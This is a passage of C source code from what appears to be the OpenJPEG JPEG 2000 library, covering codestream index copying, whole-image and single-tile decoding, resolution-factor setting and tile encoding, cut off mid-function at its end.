(l_tccp->numresolutions < OPJ_J2K_MAXRLVLS) { memcpy(l_tccp_info->prch, l_tccp->prch, l_tccp->numresolutions); memcpy(l_tccp_info->prcw, l_tccp->prcw, l_tccp->numresolutions); } /* quantization style*/ l_tccp_info->qntsty = l_tccp->qntsty; l_tccp_info->numgbits = l_tccp->numgbits; numbands = (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) ? 1 : (OPJ_INT32)l_tccp->numresolutions * 3 - 2; if (numbands < OPJ_J2K_MAXBANDS) { for (bandno = 0; bandno < numbands; bandno++) { l_tccp_info->stepsizes_mant[bandno] = (OPJ_UINT32) l_tccp->stepsizes[bandno].mant; l_tccp_info->stepsizes_expn[bandno] = (OPJ_UINT32) l_tccp->stepsizes[bandno].expn; } } /* RGN value*/ l_tccp_info->roishift = l_tccp->roishift; } return cstr_info; } opj_codestream_index_t* j2k_get_cstr_index(opj_j2k_t* p_j2k) { opj_codestream_index_t* l_cstr_index = (opj_codestream_index_t*) opj_calloc(1, sizeof(opj_codestream_index_t)); if (!l_cstr_index) { return NULL; } l_cstr_index->main_head_start = p_j2k->cstr_index->main_head_start; l_cstr_index->main_head_end = p_j2k->cstr_index->main_head_end; l_cstr_index->codestream_size = p_j2k->cstr_index->codestream_size; l_cstr_index->marknum = p_j2k->cstr_index->marknum; l_cstr_index->marker = (opj_marker_info_t*)opj_malloc(l_cstr_index->marknum * sizeof(opj_marker_info_t)); if (!l_cstr_index->marker) { opj_free(l_cstr_index); return NULL; } if (p_j2k->cstr_index->marker) { memcpy(l_cstr_index->marker, p_j2k->cstr_index->marker, l_cstr_index->marknum * sizeof(opj_marker_info_t)); } else { opj_free(l_cstr_index->marker); l_cstr_index->marker = NULL; } l_cstr_index->nb_of_tiles = p_j2k->cstr_index->nb_of_tiles; l_cstr_index->tile_index = (opj_tile_index_t*)opj_calloc( l_cstr_index->nb_of_tiles, sizeof(opj_tile_index_t)); if (!l_cstr_index->tile_index) { opj_free(l_cstr_index->marker); opj_free(l_cstr_index); return NULL; } if (!p_j2k->cstr_index->tile_index) { opj_free(l_cstr_index->tile_index); l_cstr_index->tile_index = NULL; } else { OPJ_UINT32 it_tile = 0; for (it_tile = 0; it_tile < l_cstr_index->nb_of_tiles; it_tile++) { /* Tile Marker*/ l_cstr_index->tile_index[it_tile].marknum = p_j2k->cstr_index->tile_index[it_tile].marknum; l_cstr_index->tile_index[it_tile].marker = (opj_marker_info_t*)opj_malloc(l_cstr_index->tile_index[it_tile].marknum * sizeof(opj_marker_info_t)); if (!l_cstr_index->tile_index[it_tile].marker) { OPJ_UINT32 it_tile_free; for (it_tile_free = 0; it_tile_free < it_tile; it_tile_free++) { opj_free(l_cstr_index->tile_index[it_tile_free].marker); } opj_free(l_cstr_index->tile_index); opj_free(l_cstr_index->marker); opj_free(l_cstr_index); return NULL; } if (p_j2k->cstr_index->tile_index[it_tile].marker) memcpy(l_cstr_index->tile_index[it_tile].marker, p_j2k->cstr_index->tile_index[it_tile].marker, l_cstr_index->tile_index[it_tile].marknum * sizeof(opj_marker_info_t)); else { opj_free(l_cstr_index->tile_index[it_tile].marker); l_cstr_index->tile_index[it_tile].marker = NULL; } /* Tile part index*/ l_cstr_index->tile_index[it_tile].nb_tps = p_j2k->cstr_index->tile_index[it_tile].nb_tps; l_cstr_index->tile_index[it_tile].tp_index = (opj_tp_index_t*)opj_malloc(l_cstr_index->tile_index[it_tile].nb_tps * sizeof( opj_tp_index_t)); if (!l_cstr_index->tile_index[it_tile].tp_index) { OPJ_UINT32 it_tile_free; for (it_tile_free = 0; it_tile_free < it_tile; it_tile_free++) { opj_free(l_cstr_index->tile_index[it_tile_free].marker); opj_free(l_cstr_index->tile_index[it_tile_free].tp_index); } opj_free(l_cstr_index->tile_index); opj_free(l_cstr_index->marker); opj_free(l_cstr_index); return NULL; } if (p_j2k->cstr_index->tile_index[it_tile].tp_index) { memcpy(l_cstr_index->tile_index[it_tile].tp_index, p_j2k->cstr_index->tile_index[it_tile].tp_index, l_cstr_index->tile_index[it_tile].nb_tps * sizeof(opj_tp_index_t)); } else { opj_free(l_cstr_index->tile_index[it_tile].tp_index); l_cstr_index->tile_index[it_tile].tp_index = NULL; } /* Packet index (NOT USED)*/ l_cstr_index->tile_index[it_tile].nb_packet = 0; l_cstr_index->tile_index[it_tile].packet_index = NULL; } } return l_cstr_index; } static OPJ_BOOL opj_j2k_allocate_tile_element_cstr_index(opj_j2k_t *p_j2k) { OPJ_UINT32 it_tile = 0; p_j2k->cstr_index->nb_of_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th; p_j2k->cstr_index->tile_index = (opj_tile_index_t*)opj_calloc( p_j2k->cstr_index->nb_of_tiles, sizeof(opj_tile_index_t)); if (!p_j2k->cstr_index->tile_index) { return OPJ_FALSE; } for (it_tile = 0; it_tile < p_j2k->cstr_index->nb_of_tiles; it_tile++) { p_j2k->cstr_index->tile_index[it_tile].maxmarknum = 100; p_j2k->cstr_index->tile_index[it_tile].marknum = 0; p_j2k->cstr_index->tile_index[it_tile].marker = (opj_marker_info_t*) opj_calloc(p_j2k->cstr_index->tile_index[it_tile].maxmarknum, sizeof(opj_marker_info_t)); if (!p_j2k->cstr_index->tile_index[it_tile].marker) { return OPJ_FALSE; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_decode_tiles(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL l_go_on = OPJ_TRUE; OPJ_UINT32 l_current_tile_no; OPJ_UINT32 l_data_size, l_max_data_size; OPJ_INT32 l_tile_x0, l_tile_y0, l_tile_x1, l_tile_y1; OPJ_UINT32 l_nb_comps; OPJ_BYTE * l_current_data; OPJ_UINT32 nr_tiles = 0; /* Particular case for whole single tile decoding */ /* We can avoid allocating intermediate tile buffers */ if (p_j2k->m_cp.tw == 1 && p_j2k->m_cp.th == 1 && p_j2k->m_cp.tx0 == 0 && p_j2k->m_cp.ty0 == 0 && p_j2k->m_output_image->x0 == 0 && p_j2k->m_output_image->y0 == 0 && p_j2k->m_output_image->x1 == p_j2k->m_cp.tdx && p_j2k->m_output_image->y1 == p_j2k->m_cp.tdy && p_j2k->m_output_image->comps[0].factor == 0) { OPJ_UINT32 i; if (! opj_j2k_read_tile_header(p_j2k, &l_current_tile_no, &l_data_size, &l_tile_x0, &l_tile_y0, &l_tile_x1, &l_tile_y1, &l_nb_comps, &l_go_on, p_stream, p_manager)) { return OPJ_FALSE; } if (! opj_j2k_decode_tile(p_j2k, l_current_tile_no, NULL, 0, p_stream, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Failed to decode tile 1/1\n"); return OPJ_FALSE; } /* Transfer TCD data to output image data */ for (i = 0; i < p_j2k->m_output_image->numcomps; i++) { opj_image_data_free(p_j2k->m_output_image->comps[i].data); p_j2k->m_output_image->comps[i].data = p_j2k->m_tcd->tcd_image->tiles->comps[i].data; p_j2k->m_output_image->comps[i].resno_decoded = p_j2k->m_tcd->image->comps[i].resno_decoded; p_j2k->m_tcd->tcd_image->tiles->comps[i].data = NULL; } return OPJ_TRUE; } l_current_data = (OPJ_BYTE*)opj_malloc(1000); if (! l_current_data) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode tiles\n"); return OPJ_FALSE; } l_max_data_size = 1000; for (;;) { if (! opj_j2k_read_tile_header(p_j2k, &l_current_tile_no, &l_data_size, &l_tile_x0, &l_tile_y0, &l_tile_x1, &l_tile_y1, &l_nb_comps, &l_go_on, p_stream, p_manager)) { opj_free(l_current_data); return OPJ_FALSE; } if (! l_go_on) { break; } if (l_data_size > l_max_data_size) { OPJ_BYTE *l_new_current_data = (OPJ_BYTE *) opj_realloc(l_current_data, l_data_size); if (! l_new_current_data) { opj_free(l_current_data); opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode tile %d/%d\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); return OPJ_FALSE; } l_current_data = l_new_current_data; l_max_data_size = l_data_size; } if (! opj_j2k_decode_tile(p_j2k, l_current_tile_no, l_current_data, l_data_size, p_stream, p_manager)) { opj_free(l_current_data); opj_event_msg(p_manager, EVT_ERROR, "Failed to decode tile %d/%d\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Tile %d/%d has been decoded.\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); if (! opj_j2k_update_image_data(p_j2k->m_tcd, l_current_data, p_j2k->m_output_image)) { opj_free(l_current_data); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Image data has been updated with tile %d.\n\n", l_current_tile_no + 1); if (opj_stream_get_number_byte_left(p_stream) == 0 && p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_NEOC) { break; } if (++nr_tiles == p_j2k->m_cp.th * p_j2k->m_cp.tw) { break; } } opj_free(l_current_data); return OPJ_TRUE; } /** * Sets up the procedures to do on decoding data. Developpers wanting to extend the library can add their own reading procedures. */ static OPJ_BOOL opj_j2k_setup_decoding(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_decode_tiles, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom procedures */ return OPJ_TRUE; } /* * Read and decode one tile. */ static OPJ_BOOL opj_j2k_decode_one_tile(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL l_go_on = OPJ_TRUE; OPJ_UINT32 l_current_tile_no; OPJ_UINT32 l_tile_no_to_dec; OPJ_UINT32 l_data_size, l_max_data_size; OPJ_INT32 l_tile_x0, l_tile_y0, l_tile_x1, l_tile_y1; OPJ_UINT32 l_nb_comps; OPJ_BYTE * l_current_data; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 i; l_current_data = (OPJ_BYTE*)opj_malloc(1000); if (! l_current_data) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode one tile\n"); return OPJ_FALSE; } l_max_data_size = 1000; /*Allocate and initialize some elements of codestrem index if not already done*/ if (!p_j2k->cstr_index->tile_index) { if (!opj_j2k_allocate_tile_element_cstr_index(p_j2k)) { opj_free(l_current_data); return OPJ_FALSE; } } /* Move into the codestream to the first SOT used to decode the desired tile */ l_tile_no_to_dec = (OPJ_UINT32) p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec; if (p_j2k->cstr_index->tile_index) if (p_j2k->cstr_index->tile_index->tp_index) { if (! p_j2k->cstr_index->tile_index[l_tile_no_to_dec].nb_tps) { /* the index for this tile has not been built, * so move to the last SOT read */ if (!(opj_stream_read_seek(p_stream, p_j2k->m_specific_param.m_decoder.m_last_sot_read_pos + 2, p_manager))) { opj_event_msg(p_manager, EVT_ERROR, "Problem with seek function\n"); opj_free(l_current_data); return OPJ_FALSE; } } else { if (!(opj_stream_read_seek(p_stream, p_j2k->cstr_index->tile_index[l_tile_no_to_dec].tp_index[0].start_pos + 2, p_manager))) { opj_event_msg(p_manager, EVT_ERROR, "Problem with seek function\n"); opj_free(l_current_data); return OPJ_FALSE; } } /* Special case if we have previously read the EOC marker (if the previous tile getted is the last ) */ if (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_EOC) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPHSOT; } } /* Reset current tile part number for all tiles, and not only the one */ /* of interest. */ /* Not completely sure this is always correct but required for */ /* ./build/bin/j2k_random_tile_access ./build/tests/tte1.j2k */ l_nb_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th; for (i = 0; i < l_nb_tiles; ++i) { p_j2k->m_cp.tcps[i].m_current_tile_part_number = -1; } for (;;) { if (! opj_j2k_read_tile_header(p_j2k, &l_current_tile_no, &l_data_size, &l_tile_x0, &l_tile_y0, &l_tile_x1, &l_tile_y1, &l_nb_comps, &l_go_on, p_stream, p_manager)) { opj_free(l_current_data); return OPJ_FALSE; } if (! l_go_on) { break; } if (l_data_size > l_max_data_size) { OPJ_BYTE *l_new_current_data = (OPJ_BYTE *) opj_realloc(l_current_data, l_data_size); if (! l_new_current_data) { opj_free(l_current_data); l_current_data = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to decode tile %d/%d\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); return OPJ_FALSE; } l_current_data = l_new_current_data; l_max_data_size = l_data_size; } if (! opj_j2k_decode_tile(p_j2k, l_current_tile_no, l_current_data, l_data_size, p_stream, p_manager)) { opj_free(l_current_data); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Tile %d/%d has been decoded.\n", l_current_tile_no + 1, p_j2k->m_cp.th * p_j2k->m_cp.tw); if (! opj_j2k_update_image_data(p_j2k->m_tcd, l_current_data, p_j2k->m_output_image)) { opj_free(l_current_data); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Image data has been updated with tile %d.\n\n", l_current_tile_no + 1); if (l_current_tile_no == l_tile_no_to_dec) { /* move into the codestream to the first SOT (FIXME or not move?)*/ if (!(opj_stream_read_seek(p_stream, p_j2k->cstr_index->main_head_end + 2, p_manager))) { opj_event_msg(p_manager, EVT_ERROR, "Problem with seek function\n"); opj_free(l_current_data); return OPJ_FALSE; } break; } else { opj_event_msg(p_manager, EVT_WARNING, "Tile read, decoded and updated is not the desired one (%d vs %d).\n", l_current_tile_no + 1, l_tile_no_to_dec + 1); } } opj_free(l_current_data); return OPJ_TRUE; } /** * Sets up the procedures to do on decoding one tile. Developpers wanting to extend the library can add their own reading procedures. */ static OPJ_BOOL opj_j2k_setup_decoding_tile(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_decode_one_tile, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom procedures */ return OPJ_TRUE; } OPJ_BOOL opj_j2k_decode(opj_j2k_t * p_j2k, opj_stream_private_t * p_stream, opj_image_t * p_image, opj_event_mgr_t * p_manager) { OPJ_UINT32 compno; if (!p_image) { return OPJ_FALSE; } p_j2k->m_output_image = opj_image_create0(); if (!(p_j2k->m_output_image)) { return OPJ_FALSE; } opj_copy_image_header(p_image, p_j2k->m_output_image); /* customization of the decoding */ if (!opj_j2k_setup_decoding(p_j2k, p_manager)) { return OPJ_FALSE; } /* Decode the codestream */ if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* Move data and copy one information from codec to output image*/ for (compno = 0; compno < p_image->numcomps; compno++) { p_image->comps[compno].resno_decoded = p_j2k->m_output_image->comps[compno].resno_decoded; p_image->comps[compno].data = p_j2k->m_output_image->comps[compno].data; #if 0 char fn[256]; sprintf(fn, "/tmp/%d.raw", compno); FILE *debug = fopen(fn, "wb"); fwrite(p_image->comps[compno].data, sizeof(OPJ_INT32), p_image->comps[compno].w * p_image->comps[compno].h, debug); fclose(debug); #endif p_j2k->m_output_image->comps[compno].data = NULL; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_get_tile(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_image_t* p_image, opj_event_mgr_t * p_manager, OPJ_UINT32 tile_index) { OPJ_UINT32 compno; OPJ_UINT32 l_tile_x, l_tile_y; opj_image_comp_t* l_img_comp; if (!p_image) { opj_event_msg(p_manager, EVT_ERROR, "We need an image previously created.\n"); return OPJ_FALSE; } if (/*(tile_index < 0) &&*/ (tile_index >= p_j2k->m_cp.tw * p_j2k->m_cp.th)) { opj_event_msg(p_manager, EVT_ERROR, "Tile index provided by the user is incorrect %d (max = %d) \n", tile_index, (p_j2k->m_cp.tw * p_j2k->m_cp.th) - 1); return OPJ_FALSE; } /* Compute the dimension of the desired tile*/ l_tile_x = tile_index % p_j2k->m_cp.tw; l_tile_y = tile_index / p_j2k->m_cp.tw; p_image->x0 = l_tile_x * p_j2k->m_cp.tdx + p_j2k->m_cp.tx0; if (p_image->x0 < p_j2k->m_private_image->x0) { p_image->x0 = p_j2k->m_private_image->x0; } p_image->x1 = (l_tile_x + 1) * p_j2k->m_cp.tdx + p_j2k->m_cp.tx0; if (p_image->x1 > p_j2k->m_private_image->x1) { p_image->x1 = p_j2k->m_private_image->x1; } p_image->y0 = l_tile_y * p_j2k->m_cp.tdy + p_j2k->m_cp.ty0; if (p_image->y0 < p_j2k->m_private_image->y0) { p_image->y0 = p_j2k->m_private_image->y0; } p_image->y1 = (l_tile_y + 1) * p_j2k->m_cp.tdy + p_j2k->m_cp.ty0; if (p_image->y1 > p_j2k->m_private_image->y1) { p_image->y1 = p_j2k->m_private_image->y1; } l_img_comp = p_image->comps; for (compno = 0; compno < p_image->numcomps; ++compno) { OPJ_INT32 l_comp_x1, l_comp_y1; l_img_comp->factor = p_j2k->m_private_image->comps[compno].factor; l_img_comp->x0 = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)p_image->x0, (OPJ_INT32)l_img_comp->dx); l_img_comp->y0 = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)p_image->y0, (OPJ_INT32)l_img_comp->dy); l_comp_x1 = opj_int_ceildiv((OPJ_INT32)p_image->x1, (OPJ_INT32)l_img_comp->dx); l_comp_y1 = opj_int_ceildiv((OPJ_INT32)p_image->y1, (OPJ_INT32)l_img_comp->dy); l_img_comp->w = (OPJ_UINT32)(opj_int_ceildivpow2(l_comp_x1, (OPJ_INT32)l_img_comp->factor) - opj_int_ceildivpow2((OPJ_INT32)l_img_comp->x0, (OPJ_INT32)l_img_comp->factor)); l_img_comp->h = (OPJ_UINT32)(opj_int_ceildivpow2(l_comp_y1, (OPJ_INT32)l_img_comp->factor) - opj_int_ceildivpow2((OPJ_INT32)l_img_comp->y0, (OPJ_INT32)l_img_comp->factor)); l_img_comp++; } /* Destroy the previous output image*/ if (p_j2k->m_output_image) { opj_image_destroy(p_j2k->m_output_image); } /* Create the ouput image from the information previously computed*/ p_j2k->m_output_image = opj_image_create0(); if (!(p_j2k->m_output_image)) { return OPJ_FALSE; } opj_copy_image_header(p_image, p_j2k->m_output_image); p_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec = (OPJ_INT32)tile_index; /* customization of the decoding */ if (!opj_j2k_setup_decoding_tile(p_j2k, p_manager)) { return OPJ_FALSE; } /* Decode the codestream */ if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* Move data and copy one information from codec to output image*/ for (compno = 0; compno < p_image->numcomps; compno++) { p_image->comps[compno].resno_decoded = p_j2k->m_output_image->comps[compno].resno_decoded; if (p_image->comps[compno].data) { opj_image_data_free(p_image->comps[compno].data); } p_image->comps[compno].data = p_j2k->m_output_image->comps[compno].data; p_j2k->m_output_image->comps[compno].data = NULL; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_set_decoded_resolution_factor(opj_j2k_t *p_j2k, OPJ_UINT32 res_factor, opj_event_mgr_t * p_manager) { OPJ_UINT32 it_comp; p_j2k->m_cp.m_specific_param.m_dec.m_reduce = res_factor; if (p_j2k->m_private_image) { if (p_j2k->m_private_image->comps) { if (p_j2k->m_specific_param.m_decoder.m_default_tcp) { if (p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps) { for (it_comp = 0 ; it_comp < p_j2k->m_private_image->numcomps; it_comp++) { OPJ_UINT32 max_res = p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps[it_comp].numresolutions; if (res_factor >= max_res) { opj_event_msg(p_manager, EVT_ERROR, "Resolution factor is greater than the maximum resolution in the component.\n"); return OPJ_FALSE; } p_j2k->m_private_image->comps[it_comp].factor = res_factor; } return OPJ_TRUE; } } } } return OPJ_FALSE; } OPJ_BOOL opj_j2k_encode(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, j; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 l_max_tile_size = 0, l_current_tile_size; OPJ_BYTE * l_current_data = 00; OPJ_BOOL l_reuse_data = OPJ_FALSE; opj_tcd_t* p_tcd = 00; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); p_tcd = p_j2k->m_tcd; l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; if (l_nb_tiles == 1) { l_reuse_data = OPJ_TRUE; #ifdef __SSE__ for (j = 0; j < p_j2k->m_tcd->image->numcomps; ++j) { opj_image_comp_t * l_img_comp = p_tcd->image->comps + j; if (((size_t)l_img_comp->data & 0xFU) != 0U) { /* tile data shall be aligned on 16 bytes */ l_reuse_data = OPJ_FALSE; } } #endif } for (i = 0; i < l_nb_tiles; ++i) { if (! opj_j2k_pre_write_tile(p_j2k, i, p_stream, p_manager)) { if (l_current_data) { opj_free(l_current_data); } return OPJ_FALSE; } /* if we only have one tile, then simply set tile component data equal to image component data */ /* otherwise, allocate the data */ for (j = 0; j < p_j2k->m_tcd->image->numcomps; ++j) { opj_tcd_tilecomp_t* l_tilec = p_tcd->tcd_image->tiles->comps + j; if (l_reuse_data) { opj_image_comp_t * l_img_comp = p_tcd->image->comps + j; l_tilec->data = l_img_comp->data; l_tilec->ownsData = OPJ_FALSE; } else { if (! opj_alloc_tile_component_data(l_tilec)) { opj_event_msg(p_manager, EVT_ERROR, "Error allocating tile component data."); if (l_current_data) { opj_free(l_current_data); } return OPJ_FALSE; } } } l_current_tile_size = opj_tcd_get_encoded_tile_size(p_j2k->m_tcd); if (!l_reuse_data) { if (l_current_tile_size > l_max_tile_size) { OPJ_BYTE *l_new_current_data = (OPJ_BYTE *) opj_realloc(l_current_data, l_current_tile_size); if (! l_new_current_data) { if (l_current_data) { opj_free(l_current_data); } opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to encode all tiles\n"); return OPJ_FALSE; } l_current_data = l_new_current_data; l_max_tile_size = l_current_tile_size; } /* copy image data (32 bit) to l_current_data as contiguous, all-component, zero offset buffer */ /* 32 bit components @ 8 bit precision get converted to 8 bit */ /* 32 bit components @ 16 bit precision get converted to 16 bit */ opj_j2k_get_tile_data(p_j2k->m_tcd, l_current_data); /* now copy this data into the tile component */ if (! opj_tcd_copy_tile_data(p_j2k->m_tcd, l_current_data, l_current_tile_size)) { opj_event_msg(p_manager, EVT_ERROR, "Size mismatch between tile data and sent data."); opj_free(l_current_data); return OPJ_FALSE; } } if (! opj_j2k_post_write_tile(p_j2k, p_stream, p_manager)) { if (l_current_data) { opj_free(l_current_data); } return OPJ_FALSE; } } if (l_current_data) { opj_free(l_current_data); } return OPJ_TRUE; } OPJ_BOOL opj_j2k_end_compress(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { /* customization of the encoding */ if (! opj_j2k_setup_end_compress(p_j2k, p_manager)) { return OPJ_FALSE; } if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_start_compress(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_image_t * p_image, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); p_j2k->m_private_image = opj_image_create0(); if (! p_j2k->m_private_image) { opj_event_msg(p_manager, EVT_ERROR, "Failed to allocate image header."); return OPJ_FALSE; } opj_copy_image_header(p_image, p_j2k->m_private_image); /* TODO_MSD: Find a better way */ if (p_image->comps) { OPJ_UINT32 it_comp; for (it_comp = 0 ; it_comp < p_image->numcomps; it_comp++) { if (p_image->comps[it_comp].data) { p_j2k->m_private_image->comps[it_comp].data = p_image->comps[it_comp].data; p_image->comps[it_comp].data = NULL; } } } /* customization of the validation */ if (! opj_j2k_setup_encoding_validation(p_j2k, p_manager)) { return OPJ_FALSE; } /* validation of the parameters codec */ if (! opj_j2k_exec(p_j2k, p_j2k->m_validation_list, p_stream, p_manager)) { return OPJ_FALSE; } /* customization of the encoding */ if (! opj_j2k_setup_header_writing(p_j2k, p_manager)) { return OPJ_FALSE; } /* write header */ if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_pre_write_tile(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_index, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { (void)p_stream; if (p_tile_index != p_j2k->m_current_tile_number) { opj_event_msg(p_manager, EVT_ERROR, "The given tile index does not match."); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "tile number %d / %d\n", p_j2k->m_current_tile_number + 1, p_j2k->m_cp.tw * p_j2k->m_cp.th); p_j2k->m_specific_param.m_encoder.m_current_tile_part_number = 0; p_j2k->m_tcd->cur_totnum_tp = p_j2k->m_cp.tcps[p_tile_index].m_nb_tile_parts; p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number = 0; /* initialisation before tile encoding */ if (! opj_tcd_init_encode_tile(p_j2k->m_tcd, p_j2k->m_current_tile_number, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static void opj_get_tile_dimensions(opj_image_t * l_image, opj_tcd_tilecomp_t * l_tilec, opj_image_comp_t * l_img_comp, OPJ_UINT32* l_size_comp, OPJ_UINT32* l_width, OPJ_UINT32* l_height, OPJ_UINT32* l_offset_x, OPJ_UINT32* l_offset_y, OPJ_UINT32* l_image_width, OPJ_UINT32* l_stride, OPJ_UINT32* l_tile_offset) { OPJ_UINT32 l_remaining; *l_size_comp = l_img_comp->prec >> 3; /* (/8) */ l_remaining = l_img_comp->prec & 7; /* (%8) */ if (l_remaining) { *l_size_comp += 1; } if (*l_size_comp == 3) { *l_size_comp = 4; } *l_width = (OPJ_UINT32)(l_tilec->x1 - l_tilec->x0); *l_height = (OPJ_UINT32)(l_tilec->y1 - l_tilec->y0); *l_offset_x = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)l_image->x0, (OPJ_INT32)l_img_comp->dx); *l_offset_y = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)l_image->y0, (OPJ_INT32)l_img_comp->dy); *l_image_width = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)l_image->x1 - (OPJ_INT32)l_image->x0, (OPJ_INT32)l_img_comp->dx); *l_stride = *l_image_width - *l_width; *l_tile_offset = ((OPJ_UINT32)l_tilec->x0 - *l_offset_x) + (( OPJ_UINT32)l_tilec->y0 - *l_offset_y) * *l_image_width; } static void opj_j2k_get_tile_data(opj_tcd_t * p_tcd, OPJ_BYTE * p_data) { OPJ_UINT32 i, j, k = 0; for (i = 0; i < p_tcd->image->numcomps; ++i) { opj_image_t * l_image = p_tcd->image; OPJ_INT32 * l_src_ptr; opj_tcd_tilecomp_t * l_tilec = p_tcd->tcd_image->tiles->comps + i; opj_image_comp_t * l_img_comp = l_image->comps + i; OPJ_UINT32 l_size_comp, l_width, l_height, l_offset_x, l_offset_y, l_image_width, l_stride, l_tile_offset; opj_get_tile_dimensions(l_image, l_tilec, l_img_comp, &l_size_comp, &l_width, &l_height, &l_offset_x, &l_offset_y, &l_image_width, &l_stride, &l_tile_offset); l_src_ptr = l_img_comp->data + l_tile_offset; switch (l_size_comp) { case 1: { OPJ_CHAR * l_dest_ptr = (OPJ_CHAR*) p_data; if (l_img_comp->sgnd) { for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr) = (OPJ_CHAR)(*l_src_ptr); ++l_dest_ptr; ++l_src_ptr; } l_src_ptr += l_stride; } } else { for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr) = (OPJ_CHAR)((*l_src_ptr) & 0xff); ++l_dest_ptr; ++l_src_ptr; } l_src_ptr += l_stride; } } p_data = (OPJ_BYTE*) l_dest_ptr; } break; case 2: { OPJ_INT16 * l_dest_ptr = (OPJ_INT16 *) p_data; if (l_img_comp->sgnd) { for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr++) = (OPJ_INT16)(*(l_src_ptr++)); } l_src_ptr += l_stride; } } else { for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr++) = (OPJ_INT16)((*(l_src_ptr++)) & 0xffff); } l_src_ptr += l_stride; } } p_data = (OPJ_BYTE*) l_dest_ptr; } break; case 4: { OPJ_INT32 * l_dest_ptr = (OPJ_INT32 *) p_data; for (j = 0; j < l_height; ++j) { for (k = 0; k < l_width; ++k) { *(l_dest_ptr++) = *(l_src_ptr++); } l_src_ptr += l_stride; } p_data = (OPJ_BYTE*) l_dest_ptr; } break; } } } static OPJ_BOOL opj_j2k_post_write_tile(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_nb_bytes_written; OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_tile_size = 0; OPJ_UINT32 l_available_data; /* preconditions */ assert(p_j2k->m_specific_param.m_encoder.m_encoded_tile_data); l_tile_size = p_j2k->m_specific_param.m_encoder.m_encoded_tile_size; l_available_data = l_tile_size; l_current_data = p_j2k->m_specific_param.m_encoder.m_encoded_tile_data; l_nb_bytes_written = 0; if (! 